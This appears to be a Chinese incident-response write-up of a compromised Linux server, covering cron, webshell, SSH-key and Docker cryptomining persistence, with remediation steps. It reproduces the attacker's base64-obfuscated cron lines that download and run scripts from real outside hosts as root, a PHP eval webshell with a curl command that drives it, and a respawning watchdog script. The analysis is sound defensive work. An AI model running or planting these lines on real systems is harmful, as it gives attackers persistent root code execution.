目录
- [1. crond](#1. crond)
- [2. 利用php -S或Web漏洞上传Root级Webshell](#2. 利用php -S或Web漏洞上传Root级Webshell)
- [1、/root 中 artx_php.sh](#1、/root 中 artx_php.sh)
- 2、/docker/rtx_web/artx.php
- 3、解决办法
- [3. ssh](#3. ssh)
- [4. docker](#4. docker)
- [5. 排除工具](#5. 排除工具)
- [6. 使用 hw_toolkit 扫描](#6. 使用 hw_toolkit 扫描)
- [7. 查询特权账号](#7. 查询特权账号)
- [1. 查找 UID 为 0 的特权账户](#1. 查找 UID 为 0 的特权账户)
- [2. 检查 sudoers 文件(查找 NOPASSWD 条目)](#2. 检查 sudoers 文件(查找 NOPASSWD 条目))
- [3. 检查 PAM 配置是否被篡改(如插入 pam_permit.so)](#3. 检查 PAM 配置是否被篡改(如插入 pam_permit.so))
攻击者使用包括 Cron、root 级 Webshell、SSH 公钥、Docker 容器混合持久化后门,使用docker跑挖矿镜像,每个方式不清理彻底都可以重新生成,相互独立又互为备份,以长期控制为目的的复合型入侵,如果不确定还有没有其他的文件被篡改,可以使用工具自动扫描。
1.crond
- 查最近7天修改的文件,黑客添加base64编码后的命令,定时执行从远程服务器下载脚本执行脚本中的命令,如果没有删除干净,黑客可以利用任意一个定时任务把所有后门又重新添加,甚至篡改更加隐蔽的文件,留下入口。
bash
find /var/spool/cron/ /etc/cron* -mtime -7 -type f 2>/dev/null
发现两个文件被修改了
第一个
1、文件路径
bash
/etc/crontab
2、内容
bash
* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash
* * * * * * root python -c "import urllib2; print urllib2.urlopen('http://s.\\n\\a-c\\s.c\\o\m/t.sh').read()" >.1;chmod +x .1;./.1
2.1、解释第一条
bash
用 base64 -d 解码后是
curl -fsSL http://140.99.32.48/b2f628/cronb.sh
* * * * * *:每分钟执行一次。
root:以 root 权限执行,说明大概率写在 /etc/crontab 或 /etc/cron.d/*。
echo ... | base64 -d:解码出 curl -fsSL http://140.99.32.48/b2f628/cronb.sh。
第一个 bash:执行这条 curl 命令,把远程脚本内容输出到标准输出。
第二个 bash:把 curl 下载到的脚本内容直接交给 bash 执行。
所以本质是:
每分钟以 root 身份从 140.99.32.48 下载 cronb.sh 并立即执行。
下载定时脚本,并执行
curl -fsSL http://140.99.32.48/b2f628/cronb.sh| bash
2.2、解释第二条
bash
* * * * *:每分钟执行一次。
root:以 root 权限执行。这个字段说明它大概率写在 /etc/crontab 或 /etc/cron.d/* 这类系统 crontab 中,而不是普通用户 crontab。
python -c "import urllib2; ...":使用 Python 2 的 urllib2 从远程 URL 下载内容。
URL 中的反斜杠 \n\a-c\s.c\o\m 是明显的混淆/免杀写法,用于绕过简单的字符串匹配。实际解析出来的域名可能是类似 s.na-cs.com 的形式,具体以 Python 实际解析为准,不要直接执行验证。
print ... .read():把下载到的内容打印到标准输出。
>.1:把下载内容写入当前工作目录下的隐藏文件 .1。cron 的当前目录通常是 /root 或 /,所以可能是 /root/.1 或 /.1。
chmod +x .1:给下载下来的文件加可执行权限。
./.1:直接执行下载下来的文件。
第二个
1、文件路径
bash
/etc/cron.d/zzh
2、文件内容
bash
* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vcy5cblxhLWNccy5jXG9tL2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash
相当于
* * * * * root curl -fsSL http://s.na-cs.com/b2f628/cronb.sh | bash
逐段解释
text
* * * * * root echo <base64> | base64 -d | bash | bash
* * * * *:每分钟执行一次。
root:以 root 权限执行。
echo <base64>:输出 Base64 字符串。
base64 -d:解码成 curl -fsSL http://s.\n\a-c\s.c\om/b2f628/cronb.sh。
第一个 | bash:shell 执行这条 curl,反斜杠转义后实际请求 http://s.na-cs.com/b2f628/cronb.sh,并把下载内容输出到 stdout。
第二个 | bash:把下载到的脚本内容直接交给 bash 以 root 执行。
- 攻击者只要控制 s.na-cs.com 上的 cronb.sh,就能让你服务器每分钟以 root 执行任意命令。
- 即使你删掉某个恶意进程、容器或 Webshell,只要这行 cron 还在,下一分钟它又会拉取新载荷,重新建立控制。
- 用 Base64 + 反斜杠转义,是为了绕过简单的 grep curl、grep http 检测。
让我想起了,星星之火可以燎原
解决办法 :
- 删除恶意 cron 行;
- 检查所有用户 crontab -l;
- 检查 /etc/cron.d/、/etc/crontab、/var/spool/cron/;
- 检查 ~/.ssh/authorized_keys、systemd 服务、rc.local、/etc/ld.so.preload 等其他持久化点;
根因没查清、系统已被 root 控制时,可靠做法是用快照取证后重装,而不是在原机上删几个文件就当修复完成。
2.利用php -S或Web漏洞上传Root级Webshell
1、/root中 artx_php.sh
①、内容:
bash
\#!/bin/sh while true; do /usr/bin/php -S 0.0.0.0:18088 -t /docker/artx_web >>/root/artx_php.log 2>&1 sleep 3 done
②、解释:
php -S 会一直占着前台,sleep 3 只在 PHP 进程退出之后才执行,所以进程被杀掉大约 3 秒后会被拉起来,启动phpweb服务,web内容是在/docker/artx_web,如果通过端口kill掉这个phpweb服务,3秒后会再次启动。
启动web的目的是可以调用web接口执行恶意命令。
它是一个无限循环守护的 PHP Web 服务启动脚本 ,可以视为攻击者部署的 Web 服务/后门/载荷分发点。
2、/docker/artx_web/artx.php
①、内容
bash
<?php // managed entry if(isset($_POST["z"])){ @eval($_POST["z"]); } ?>
- if(isset($_POST"z")):只有当 HTTP POST 请求中包含名为 z 的参数时才执行。
- @eval($_POST"z");:核心后门 。eval() 会把 z 参数的内容当作 PHP 代码直接执行。前面的 @ 只是抑制错误输出,让执行更隐蔽。
②、解释:
这个就是web服务的内容,他可以接受post请求,参数包含z时把参数z的内容当成php的代码执行,可以传入恶意命令,例如
bash
curl -i -X POST 'http://127.0.0.1:18088/shell.php' \ --data-urlencode 'z=system("docker ps 2>&1");'
/etc/crontab 里那条 Base64 编码的命令,属于利用计划任务(Cron Job)实现的持久化远程代码执行(RCE)。
它的原理是让服务器每分钟以 root 权限,自动从攻击者指定的地址(140.99.32.48)下载并执行一段脚本。这种方式被称为 "自愈"机制:即使你删除了某个恶意文件或进程,只要 cron 任务还在,下一分钟它就会重新拉取并执行最新的攻击载荷,让后门"死而复生"。Base64 编码只是为了混淆视线,掩盖其真实目的。
artx.php 是 Webshell 本体;php -S 进程是攻击者为这个 Webshell 搭建的、以 root 权限运行的 Web 运行环境
3、解决办法:
bash
# 先杀父进程 先杀看门狗父进程,否则 PHP 3 秒后复活
pkill -9 -f 'artx_php\.sh'
#再杀PHP进程
pgrep -af 'php -S 0.0.0.0:18088'
kill -9 进程号
#最后检查PHP进程是否成功杀死
ss -ltnp 'sport = :18088'
#最后删除文件
rm -f /docker/artx_web/artx.php
rm -f /root/artx_php.sh /root/artx_php.log /root/php_apt.log
我猜测使用定时任务和phpweb服务合并使用,执行恶意命令,不需要开通18088外网端口,就能以root执行。当然phpweb还有其他触发方式,比如在容器中触发。
bash
cron 每分钟
→ curl 下载 cronb.sh / t.sh
→ 脚本内部执行 curl -X POST http://127.0.0.1:18088/artx.php -d 'z=...'
→ eval 以 root 执行
webshell 可以cronb.sh 是 curl | bash,执行结果默认丢弃,攻击者看不到。webshell 的 eval 会把 system('id') 的输出直接返回,攻击者能即时看到 uid=0(root),确认权限、看文件内容、读数据库。
攻击者可以通过 webshell 上传工具、下载数据、反弹 shell、扫描内网、读 /etc/shadow、翻业务代码。cron 只适合跑固定脚本,做不了这些"边看边操作"的事。
cron的作用即使攻击者下线、webshell 被删、进程被杀,cron 下一分钟仍会拉取脚本,重新写入 webshell、重拉挖矿、重加 SSH 公钥。它是"自愈"机制。
3.ssh
- 查询ssh登录日志
bash
- grep -Ei 'Accepted publickey|Accepted password' /var/log/auth.log* | grep -i root
bash
root@VM-0-13-ubuntu:~/.ssh# grep -Ei 'Accepted publickey|Accepted password' /var/log/auth.log* | grep -i root
/var/log/auth.log:2026-11-10T01:28:49.282487+08:00 localhost sshd[2838385]: Accepted publickey for root from 198.135.49.182 port 50010 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:02.610392+08:00 localhost sshd[2840363]: Accepted publickey for root from 198.135.49.182 port 16002 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:14.233013+08:00 localhost sshd[2840839]: Accepted publickey for root from 198.135.49.182 port 46428 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:26.270075+08:00 localhost sshd[2841148]: Accepted publickey for root from 198.135.49.182 port 25608 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:35.219337+08:00 localhost sshd[2841370]: Accepted publickey for root from 198.135.49.182 port 21718 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:45.517585+08:00 localhost sshd[2841744]: Accepted publickey for root from 198.135.49.182 port 55398 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:30:59.252372+08:00 localhost sshd[2842056]: Accepted publickey for root from 198.135.49.182 port 33092 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:31:04.593464+08:00 localhost sshd[2842221]: Accepted publickey for root from 198.135.49.182 port 33096 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:31:10.138090+08:00 localhost sshd[2842389]: Accepted publickey for root from 198.135.49.182 port 40682 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:31:47.361873+08:00 localhost sshd[2847754]: Accepted publickey for root from 198.135.49.182 port 16002 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
/var/log/auth.log:2026-11-10T01:31:52.336376+08:00 localhost sshd[2847876]: Accepted publickey for root from 198.135.49.182 port 16012 ssh2: ED25519 SHA256:ZOilOXlvjPXVFN+FKOxfZH3GQGtYGkcwr0zACxq2rmk
看到异常登录记录,IP 198.135.49.182来自境外
bash
cat /root/.ssh/authorized_keys
发现
bash
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOsjWxg6tNEWhQoTTm/zAwrq+F2YFa+dMc1SRz7LND9h artx142
删除恶意登录公钥
4、docker
docker ps 发现三个容器,sleep 1000000是睡眠的,这三个镜像都映射到了宿主机,可以通过docker exec -t artx142 进入容器,执行恶意命令。
第一个和第二个都是挖矿容器,这是黑客真实的使用服务器目的。
bash
57c8b91ed866 alpine:latest "/artx/xmrig -c /art..." 9 hours ago Exited (0) 5 minutes ago artx795751
0884263a6054 alpine:latest "/artx/xmrig -c /art..." 9 hours ago Created artx79
331c823979ee alpine:latest "sleep 1000000" 9 hours ago Exited (143) 5 minutes ago artx142
解决办法:
①、先关闭自启动 :
docker update --restart=no artx142 artx795751 artx79
②、删容器和它独占的卷:
docker rm -f -v artx795751 artx79 artx142
③、删除镜像
docker rmi alpine:latest
4、排除工具
- 使用自动化排查脚本:在隔离环境中,可以运行只读的应急响应脚本进行快速全面扫描。例如,开源项目 GoghOrz/hw_toolkit 提供了包含 28 个模块的一键排查脚本,能生成完整报告和疑似清单,覆盖账户、Webshell、Rootkit、持久化等多个方面。
- 运行 Rootkit 检测工具:使用 chkrootkit 和 rkhunter 进行系统扫描,它们能检测已知的 rootkit 特征和系统命令篡改。
- 文件完整性校验:对关键系统命令(如 /bin/ps, /bin/ls, /usr/bin/top)进行哈希校验,并与官方仓库或已知良好基线进行比对。
5、使用hw_toolkit扫描
- 下载:wget https://raw.githubusercontent.com/GoghOrz/hw_toolkit/main/hw_toolkit.sh
- 授权: chmod +x hw_toolkit.sh
- 执行:./hw_toolkit.sh
扫描 结果,修复2个高危警告。关闭2375 端口开放,
sudo systemctl revert docker.service
sudo systemctl daemon-reload
sudo systemctl restart docker.service
第二个应该是误报。
bash
[× 异常] Docker daemon TCP 2375 端口开放: :::2375
[× 异常] /usr/lib64/security/pam_unix.so 包校验失败,疑似被替换: ....L.... c /etc/pam.d/fingerprint-auth ....L.... c /etc/pam.d/password-auth ....L.... c /etc/pam.d/postlogin ....L.... c /etc/pam.d/smartcard-auth ....L.... c /etc/pam.d/system-auth

公网上的服务器每天都有扫描暴力破解的记录,所以暴露在公网的端口应用一定要设置强密码,否则会被暴力破解

7、查询特权账号
1. 查找 UID 为 0 的特权账户
awk -F: '$3==0{print}' /etc/passwd
2. 检查 sudoers 文件(查找 NOPASSWD 条目)
cat /etc/sudoers
ls -la /etc/sudoers.d/
grep -R "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
3. 检查 PAM 配置是否被篡改(如插入 pam_permit.so)
grep -R "pam_permit" /etc/pam.d/ 2>/dev/null